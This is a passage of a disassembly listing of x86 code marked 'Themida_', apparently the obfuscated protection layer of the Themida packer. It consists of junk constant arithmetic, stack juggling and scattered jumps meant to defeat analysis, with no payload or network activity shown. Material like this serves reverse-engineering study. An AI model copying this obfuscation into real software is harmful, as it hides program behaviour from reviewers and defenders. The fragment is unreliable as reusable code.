; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_58B5AF:				; CODE XREF: Themida_:00594683j
		mov	esi, ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_596DF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B5BA:				; CODE XREF: sub_58C17E+D2Ej
		shl	esi, 5
		jmp	loc_58B190
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58B5C2:				; CODE XREF: sub_5919E2+10j
		mov	edx, edi
		pop	edi
		push	esi
		mov	esi, 329722B5h
		shl	esi, 2
		add	esi, 68F3771Fh
		push	esi
		not	[esp+8+var_8]
		pop	esi
		push	ebp
		push	esi
		mov	esi, 5C733014h
		add	esi, 45003A12h
		js	loc_58CBD1
		add	esi, 0C9A36DB7h
		jmp	loc_58D36C
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B5F8:				; CODE XREF: sub_5916C4+173Ej
		not	edi
		sub	edi, 37CF693Bh
		jmp	loc_59470C
; ---------------------------------------------------------------------------


loc_58B605:				; CODE XREF: sub_5916C4+36E0j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5911B2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58B612:				; CODE XREF: Themida_:0058A64Ej
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_595D6A
; ---------------------------------------------------------------------------


loc_58B61E:				; CODE XREF: Themida_:0058BC95j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		jmp	loc_5906D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_58B62C:				; CODE XREF: sub_5921D8+150Ej
		push	ecx
		jmp	loc_593A52
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B632:				; CODE XREF: Themida_:0058E1B7j
					; sub_5916C4+2CD5j
		pop	ebx
		sub	al, dh
		push	bx
		jmp	loc_58CC90
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58B63C:				; CODE XREF: Themida_:0058F356j
		pop	ebx
		jmp	loc_58DB19
; ---------------------------------------------------------------------------


loc_58B642:				; CODE XREF: Themida_:00590FF5j
		push	ecx
		mov	ecx, 4
		sub	ebp, 0DF20361h
		add	ebp, ecx
		add	ebp, 0DF20361h
		pop	ecx
		push	0F8Fh
		jmp	loc_58D3F8
; ---------------------------------------------------------------------------


loc_58B661:				; CODE XREF: Themida_:005937FDj
		push	ebx
		push	0A3h
		mov	[esp], ecx
		jmp	loc_592DCD
; ---------------------------------------------------------------------------


loc_58B66F:				; CODE XREF: Themida_:00597F73j
		mov	bh, dh
		jmp	loc_58B566
; ---------------------------------------------------------------------------


loc_58B676:				; CODE XREF: Themida_:0059463Aj
		shr	ecx, 8
		push	esi
		mov	esi, 57BB87h
		jmp	loc_591DE5
; ---------------------------------------------------------------------------


loc_58B684:				; CODE XREF: Themida_:0058FA4Dj
		pop	ebx
		xor	edx, 562A2538h
		jmp	loc_5912B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B690:				; CODE XREF: sub_58F5B5+6j
		mov	[esp+4+var_4], edi
		sub	esp, 4
		jmp	loc_59080D
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B69B:				; CODE XREF: sub_58C17E+3371j
		xchg	edx, ecx
		push	esi
		mov	esi, 8DCE6953h
		sub	ecx, esi
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		jmp	sub_5965CD
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58B6B0:				; CODE XREF: sub_5EC2E8-578E9j
		push	ecx
		mov	ecx, 4
		add	[esp+24h+var_20], ecx
		pop	ecx
		jmp	loc_597076
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58B6C0:				; CODE XREF: sub_591059-3103j
		pop	esi
		xor	ebx, 3365F014h
		jmp	loc_58B1B8
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_58B6CC:				; CODE XREF: Themida_:005973C1j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_592CE2
; ---------------------------------------------------------------------------


loc_58B6D7:				; CODE XREF: Themida_:0059603Dj
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_58F9C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58B6E1:				; CODE XREF: sub_5938B9-51B9j
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		jmp	loc_595B44
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B6EF:				; CODE XREF: sub_58F5B5-1371j
		pop	ebp
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		jmp	loc_58EB02
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58B6FB:				; CODE XREF: Themida_:00594E6Aj
		pop	esi
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 7AF3E5Fh
		sub	eax, 188F58B3h
		sub	eax, edx
		add	eax, 188F58B3h
		sub	eax, 7AF3E5Fh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58DCB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58B72C:				; CODE XREF: sub_5EC2E8-61AAEj
		ja	loc_58DA9F
		inc	dl
		jmp	loc_5947DC
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58B739:				; CODE XREF: Themida_:0058A503j
		shr	ah, 7
		shl	ah, 6
		jmp	loc_58F314
; ---------------------------------------------------------------------------


loc_58B744:				; CODE XREF: Themida_:00597180j
		push	4
		pop	ebx
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_58FFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B75A:				; CODE XREF: sub_590467-1CE5j
		mov	word ptr [esp+6+var_6],	dx
		push	ecx
		push	ebx
		jmp	loc_5961A0
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B765:				; CODE XREF: sub_5916C4+4134j
		xor	eax, 335D4884h
		jno	loc_593E59
		sub	eax, 36DA3842h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		jmp	loc_59489A
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58B77F:				; CODE XREF: sub_590010+7BEFj
		xchg	edi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], esi
		mov	esi, 4
		add	edx, 56F019D2h
		add	edx, esi
		sub	edx, 56F019D2h
		jmp	loc_593EAE
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58B7A0:				; CODE XREF: Themida_:00591EA6j
		add	ebx, esi
		pop	esi
		push	edx
		push	edi
		push	24A21E4Bh
		pop	edi
		and	edi, 36BE25EDh
		neg	edi
		sub	edi, 0AB0F9756h
		jmp	loc_5961D8
; ---------------------------------------------------------------------------


loc_58B7BE:				; CODE XREF: Themida_:0058A30Fj
		add	edx, 4
		jmp	loc_58AB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB1F


loc_58B7C9:				; CODE XREF: sub_58EB1F+18j
		xchg	esi, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_58F64B
; END OF FUNCTION CHUNK	FOR sub_58EB1F
; ---------------------------------------------------------------------------


loc_58B7D8:				; CODE XREF: Themida_:0058F598j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58B93A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B7E3:				; CODE XREF: sub_5916C4+480Fj
		add	esi, 88DA8991h
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58B7F4:				; CODE XREF: sub_595E21-1B43j
		push	edx
		pop	ecx
		pop	edx
		push	edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_590699
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58B804:				; CODE XREF: Themida_:005906FCj
		div	cx
		push	ebp
		jmp	loc_596013
; ---------------------------------------------------------------------------


loc_58B80D:				; CODE XREF: Themida_:00591A6Dj
		xor	[esp+4], ebp
		pop	ebp
		pop	ebx
		xor	ebx, 384A3494h
		pop	ebp
		pop	edi
		sub	dword ptr [esp+4], 6DEE53C8h
		sub	[esp+4], ebx
		jmp	loc_58D7E1
; ---------------------------------------------------------------------------


loc_58B82C:				; CODE XREF: Themida_:00596ACAj
		add	esi, 387944CFh
		pop	ecx
		jmp	loc_58A2D4
; ---------------------------------------------------------------------------


loc_58B838:				; CODE XREF: Themida_:00590492j
		push	7F645630h
		pop	edi
		xor	eax, edi
		jmp	loc_58EA79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58B845:				; CODE XREF: sub_59762D-BBE6j
					; sub_590B70+1Ej
		shr	edx, 2
		add	edx, 5795110Ah
		push	ebx
		jmp	loc_596BE6
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58B854:				; CODE XREF: Themida_:00594278j
		mov	esi, 3AAA1E47h
		and	esi, 621A19B3h
		jl	loc_5943DA
		sub	esi, 718E0A0Fh
		push	edi
		mov	edi, 71F21419h
		or	esi, edi
		jmp	loc_5971C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B878:				; CODE XREF: sub_58C17E+2477j
		pop	esi
		jmp	loc_5909A6
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58B87E:				; CODE XREF: Themida_:00591FCBj
					; Themida_:00593078j
		add	edi, 6BB62C5Eh
		pop	ebp
		push	esi
		mov	esi, 5B000363h
		add	ebx, esi
		pop	esi
		add	ebx, edi
		sub	ebx, 5B000363h
		pop	edi
		jmp	loc_593B1A
; ---------------------------------------------------------------------------


loc_58B89C:				; CODE XREF: Themida_:00593284j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 70h
		jmp	loc_58C898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B8B2:				; CODE XREF: sub_58F5B5-AD5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		mov	eax, 0D816D25h
		sub	esi, eax
		pop	eax
		and	esi, 29BD449Ch
		sub	esi, 7E040Ch
		and	eax, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_593E9B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58B8E8:				; CODE XREF: Themida_:005915C9j
		mov	[esp], esi
		push	35384EDDh
		pop	esi
		xor	esi, 35384ED9h
		jmp	loc_5966A8
; ---------------------------------------------------------------------------


loc_58B8FC:				; CODE XREF: Themida_:005978D4j
		mov	ebp, [esp]
		jmp	loc_58A2E8
; ---------------------------------------------------------------------------


loc_58B904:				; CODE XREF: Themida_:005973ECj
		add	esp, 4
		jmp	loc_5942B2
; ---------------------------------------------------------------------------


loc_58B90C:				; CODE XREF: Themida_:00593099j
		sub	edx, 4FDF74A2h
		jmp	loc_58ECF3
; ---------------------------------------------------------------------------


loc_58B917:				; CODE XREF: Themida_:0059198Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 2E6832AAh
		inc	esi
		inc	esi
		jmp	loc_591E91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B92E:				; CODE XREF: sub_58F5B5+7430j
		pop	esi
		add	esi, 7ABD6E58h
		jmp	loc_597CC8
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58B93A:				; CODE XREF: Themida_:0058B7DEj
		shl	edx, 8
		push	ebx
		mov	ebx, 4E35423Fh
		or	ebx, 3EFE31B2h
		add	ebx, 78AF0961h
		or	ebx, 445E0320h
		sub	ebx, 18FC27DAh
		push	edi
		mov	edi, 5D801233h
		sub	ebx, 40C577DCh
		add	ebx, edi
		add	ebx, 40C577DCh
		pop	edi
		jmp	loc_58CD8B
; ---------------------------------------------------------------------------


loc_58B975:				; CODE XREF: Themida_:005969AEj
		mov	edx, [esp]
		jmp	loc_58C3D6
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58F14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_58B983:				; CODE XREF: sub_592857-7EB4j
					; Themida_:0058FDB3j
		add	esp, 4
		pop	edx
		add	edx, 55BB4B17h
		jmp	loc_59716C
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------


loc_58B992:				; CODE XREF: Themida_:0059539Cj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58B997:				; CODE XREF: sub_595258-94E9j
		push	ecx
		mov	ecx, 79FB666Ah
		or	ecx, 4A19697Dh
		jmp	loc_592FF7
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58B9A8:				; CODE XREF: sub_5EC2E8:loc_594C51j
		xor	eax, 79FA75FFh
		jmp	loc_58C6A6
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58B9B2:				; CODE XREF: Themida_:00595AC4j
		add	esp, 4
		jmp	loc_593F73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B9BA:				; CODE XREF: sub_590467-5D38j
		shl	ebp, 5
		jmp	loc_590327
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58B9C2:				; CODE XREF: Themida_:0058AB34j
		sub	ecx, ebx
		jmp	loc_5921EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58B9C9:				; CODE XREF: sub_595123-AACj
		push	eax
		mov	eax, 69746F2Bh
		sub	eax, 36507E6Ch
		not	eax
		xor	eax, 5CCE5CDCh
		xor	eax, 0F1787485h
		sub	edx, eax
		pop	eax
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, 4
		push	6BF0h
		jmp	loc_590F4F
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58B9F9:				; CODE XREF: Themida_:0058A363j
		add	edi, 73402EF0h
		add	edi, 5CE349C4h
		add	edi, edx
		sub	edi, 5CE349C4h
		jmp	loc_58FB2B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58BA12	proc near		; CODE XREF: sub_591059-2D9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591697 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005924A9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592E67 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593F00 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005940B8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594880 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5940B8
sub_58BA12	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_58BA29:				; CODE XREF: Themida_:0058D3EDj
					; sub_58F836-1561j
		mov	ebp, 69462A22h
		jmp	loc_5940E2
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58BA33:				; CODE XREF: sub_59762D-7806j
		mov	ebp, 46DA433Fh
		sub	ebp, 53011B95h
		push	edx
		mov	edx, 85A21E4h
		shl	edx, 4
		jmp	loc_58B845
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58BA4C:				; CODE XREF: Themida_:00590D2Fj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58CAC2
; ---------------------------------------------------------------------------


loc_58BA58:				; CODE XREF: Themida_:00596320j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59093E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_58BA75:				; CODE XREF: sub_5942E3-1AA3j
		push	esi
		mov	esi, 4
		jmp	loc_59393E
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338C


loc_58BA80:				; CODE XREF: sub_59338C-56E9j
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_58FD95
; END OF FUNCTION CHUNK	FOR sub_59338C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58BA94:				; CODE XREF: sub_59524C-7F3Dj
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	eax, esi
		jmp	loc_5975EA
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58BAB2:				; CODE XREF: sub_5916CB+28F2j
		push	1B21276Eh
		pop	eax
		and	eax, 43CF42FEh
		shl	eax, 7
		add	eax, 91DB06B6h
		jmp	loc_596713
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BACA:				; CODE XREF: sub_58C17E+CFCj
		pop	esp
		or	ebp, 0F645139h
		add	ebp, 0E0108811h
		mov	edx, ebp
		pop	ebp
		and	ebx, edx
		mov	edx, [esp-0Ah+arg_4+2]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_597A0A
		push	7241h
		mov	[esp-0Ah+arg_4+2], eax
		jmp	loc_58ADF2
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58BAFA:				; CODE XREF: sub_5938B9-4147j
					; sub_590467+5877j
		sub	al, 29h
		mov	ch, al
		pop	eax
		add	bl, ch
		jmp	loc_5949A7
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58BB06:				; CODE XREF: sub_5916C4-F98j
					; Themida_:00593791j
		neg	esi
		sub	esi, 80976724h
		sub	ebx, esi
		pop	esi
		pop	edi
		add	ebx, 7F907FDDh
		jmp	loc_595A8E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58BB1D:				; CODE XREF: Themida_:0058AF15j
		pop	ebx
		jmp	loc_58FDBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BB23:				; CODE XREF: sub_5EC2E8:loc_5947DCj
		or	dl, 81h
		jnp	sub_590C09
		push	ebx
		mov	bl, 1Ch
		jmp	loc_58BB94
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		dec	edx
		mov	edi, ebp
		or	al, 0F5h
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58BB39:				; CODE XREF: sub_58F5B5-2E50j
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58DEED
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58BB53:				; CODE XREF: Themida_:0058BF27j
		mov	esi, 0FFEE55F5h
		jmp	loc_58A3FC
; ---------------------------------------------------------------------------


loc_58BB5D:				; CODE XREF: Themida_:0058A399j
		pop	esi
		jmp	loc_58AA1A
; ---------------------------------------------------------------------------


loc_58BB63:				; CODE XREF: Themida_:00595C09j
		shl	ebx, 7
		not	ebx
		and	ebx, 52AA0548h
		jmp	loc_5975A1
; ---------------------------------------------------------------------------


loc_58BB73:				; CODE XREF: Themida_:00590F0Bj
		sub	eax, 7C7A5F4Fh
		sub	eax, 52C83D3Dh
		jmp	loc_58DA99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58BB82:				; CODE XREF: sub_58F5B5+125Bj
		sub	[esp-8+arg_4], 252E2528h
		pop	edi
		push	2B80h
		jmp	loc_593EB6
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BB94:				; CODE XREF: sub_5EC2E8-607B9j
					; sub_58C17E+3AAFj
		xor	[esp+28h+var_28], edi
		jmp	loc_59129D
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58BB9C:				; CODE XREF: sub_590467+6E38j
		or	ebp, 3C35629Eh
		jnb	loc_58B365
		inc	ebp
		not	ebp
		inc	ebp
		jg	loc_58C397


loc_58BBB2:				; CODE XREF: Themida_:00597C44j
		pop	cx
		add	al, 0C1h
		add	al, bl
		push	ecx
		mov	ch, 0C1h
		sub	al, ch
		jmp	loc_595F30
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5941A2
; ---------------------------------------------------------------------------


loc_58BBCA:				; CODE XREF: Themida_:005960F8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 21801B4Bh
		xor	edx, eax
		jmp	loc_59230E
; ---------------------------------------------------------------------------


loc_58BBDF:				; CODE XREF: Themida_:0058FA54j
		xor	bh, al
		pop	eax
		add	al, 29h
		add	al, bh
		sub	al, 29h
		pop	bx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0B0h
		shl	bl, 4
		jmp	loc_59271C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BBFA:				; CODE XREF: sub_5EC2E8-5A183j
		or	edx, eax
		shl	edx, 1
		push	65C0h
		mov	[esp+2Ch+var_2C], ebp
		push	eax
		push	3286058Ah
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		shl	eax, 8
		jz	loc_594C51
		jmp	loc_58D051
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58BC23:				; CODE XREF: Themida_:00597788j
		mov	esi, 6F25374Eh
		sub	esi, edi
		jmp	loc_596E2E
; ---------------------------------------------------------------------------


loc_58BC2F:				; CODE XREF: Themida_:0058E407j
					; Themida_:00591E18j
		push	6F81h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_592114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BC67:				; CODE XREF: sub_58C17E+5B6Bj
		pop	edx
		xchg	eax, [esp-0Eh+arg_8+2]
		pop	esp
		mov	cx, word ptr [esp-12h+arg_C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	186Bh
		jmp	loc_597E38
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58BC83:				; CODE XREF: Themida_:00594931j
		xor	esi, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_58CCDD
; ---------------------------------------------------------------------------


loc_58BC91:				; CODE XREF: Themida_:00590B2Fj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_58B61E
; ---------------------------------------------------------------------------


loc_58BC9A:				; CODE XREF: Themida_:loc_58DD46j
		jmp	loc_593A62
; ---------------------------------------------------------------------------


loc_58BC9F:				; CODE XREF: Themida_:00596F7Bj
		pop	ecx
		jmp	loc_594A0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58BCA5:				; CODE XREF: sub_590467+236Ej
		sub	bl, cl
		jmp	loc_58A76D
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58BCAC:				; CODE XREF: Themida_:0058CFBCj
		mov	ecx, 6796181Dh
		shr	ecx, 2
		xor	ecx, 30729778h
		or	edx, ecx
		pop	ecx
		jmp	loc_596850
; ---------------------------------------------------------------------------


loc_58BCC2:				; CODE XREF: Themida_:0058B080j
		bts	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC96


loc_58BCCD:				; CODE XREF: sub_58EC96+52BCj
		push	931h
		mov	[esp+4+var_4], edx
		mov	dh, 0
		inc	dh
		add	dh, 0B0h
		sub	dh, 4Bh
		sub	cl, dh
		pop	edx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	bl, 5Dh
		sub	bl, cl
		add	bl, 5Dh
		pop	ecx
		jmp	loc_59664B
; END OF FUNCTION CHUNK	FOR sub_58EC96
; ---------------------------------------------------------------------------


loc_58BCF9:				; CODE XREF: Themida_:0058ACE9j
		pop	esp
		jmp	loc_5971CA
; ---------------------------------------------------------------------------


loc_58BCFF:				; CODE XREF: Themida_:005902ADj
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5920C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58BD0B:				; CODE XREF: sub_5938B9-502Bj
		xor	ebx, 2CB30EB1h
		sub	edi, 7E1D0FDEh
		sub	edi, ebx
		jmp	loc_59082B
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58BD1E:				; CODE XREF: sub_5916C4-1A17j
		not	edi
		sub	edi, 37CF693Bh
		jmp	loc_593026
; ---------------------------------------------------------------------------


loc_58BD2B:				; CODE XREF: sub_5916C4+3F42j
		pop	ecx
		push	eax
		mov	ah, 0F7h
		not	ah
		inc	ah
		sub	ah, 9Fh
		jmp	loc_58C9D9
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58BD3B:				; CODE XREF: Themida_:0058F620j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58CA78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BD46:				; CODE XREF: sub_5EC2E8:loc_5904A9j
					; Themida_:005972E2j
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		sub	edi, 8ED08B5h
		sub	edi, esi
		jmp	sub_59747D
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58BD59:				; CODE XREF: sub_595258-6E78j
		push	5FA8h
		mov	[esp+0], ebx
		mov	ebx, 2F620ED3h
		mov	esi, ebx
		pop	ebx
		shr	esi, 3
		shl	esi, 3
		jns	loc_58B997
		push	ecx
		mov	ecx, 79FB666Ah
		or	ecx, 4A19697Dh
		mov	esi, edx
		push	eax
; END OF FUNCTION CHUNK	FOR sub_595258
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BD84:				; CODE XREF: sub_5EC2E8-54411j
		shr	dh, 1
		add	dh, 5Ah
		dec	dh
		or	dh, 54h
		push	ecx
		jmp	loc_58CE0B
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BD94:				; CODE XREF: sub_58C17E+19E9j
		add	ch, 0BBh
		jmp	loc_58F892
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58BD9C:				; CODE XREF: Themida_:00595C3Bj
		pop	ebp
		push	1461h
		mov	[esp], edi
		push	esi
		mov	esi, 54EE575Ch
		neg	esi
		js	loc_591356
		sub	esi, 0AB11A8A2h
		push	esi
